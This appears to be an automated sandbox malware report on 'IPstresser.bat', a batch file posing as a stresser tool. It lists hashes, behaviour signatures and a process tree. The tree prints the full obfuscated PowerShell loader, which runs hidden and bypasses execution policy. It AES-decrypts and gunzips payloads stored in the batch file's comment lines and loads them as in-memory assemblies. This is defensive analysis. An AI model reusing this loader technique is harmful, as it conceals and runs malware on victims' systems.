Overview

overview

10

Static

static

1

IPstresser.bat

windows7-x64

7

IPstresser.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28-04-2024 02:55

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General

  • Target

    IPstresser.bat

  • Size

    110KB

  • MD5

    4cbfab042795f657884a406a51d4ec6f

  • SHA1

    c10c313cefe72a09d43dfe1372eb8f200a85860c

  • SHA256

    2d6df8a9163bf7b8c59ab0e01b93b8793c94b6513c5af6f7c9c6da493f77ebfb

  • SHA512

    8773649c55df56d1c7955aa93a9420daf2852f7bd37e6b32f9a1327db8d70dabad7d2179651bdfab9638dae15a45748eb426dd3a2d68184feafd393308a80622

  • SSDEEP

    1536:3cD5OO6WnyqyAQkb7FhNLk56/uXMMAAhtXmVEMCB91Z+qiIwxN/DFzINczTpOL:O5OO6Wyqy3Q7C5wC86Mg91cruSdOL

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\IPstresser.bat"
    1⤵
    • Deletes itself
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('la9164c2CHXOtVjsEzb/di2tt2EmrBknsikvZzwy+lA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MG099+K63nybi6ytFcIO9w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UWDjB=New-Object System.IO.MemoryStream(,$param_var); $uPsDm=New-Object System.IO.MemoryStream; $EmRHJ=New-Object System.IO.Compression.GZipStream($UWDjB, [IO.Compression.CompressionMode]::Decompress); $EmRHJ.CopyTo($uPsDm); $EmRHJ.Dispose(); $UWDjB.Dispose(); $uPsDm.Dispose(); $uPsDm.ToArray();}function execute_function($param_var,$param2_var){ $bAAUH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xfGLt=$bAAUH.EntryPoint; $xfGLt.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IPstresser.bat';$rfudV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IPstresser.bat').Split([Environment]::NewLine);foreach ($BHjqG in $rfudV) { if ($BHjqG.StartsWith(':: ')) { $uYxXT=$BHjqG.Substring(3); break; }}$payloads_var=[string[]]$uYxXT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2188

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/2188-4-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2188-5-0x00000000025B0000-0x0000000002630000-memory.dmp
    Filesize

    512KB

    Download
  • memory/2188-6-0x000000001B2E0000-0x000000001B5C2000-memory.dmp
    Filesize

    2.9MB

    Download
  • memory/2188-7-0x00000000025B0000-0x0000000002630000-memory.dmp
    Filesize

    512KB

    Download
  • memory/2188-8-0x0000000002310000-0x0000000002318000-memory.dmp
    Filesize

    32KB

    Download
  • memory/2188-9-0x00000000025B0000-0x0000000002630000-memory.dmp
    Filesize

    512KB

    Download
  • memory/2188-10-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp
    Filesize

    9.6MB

    Download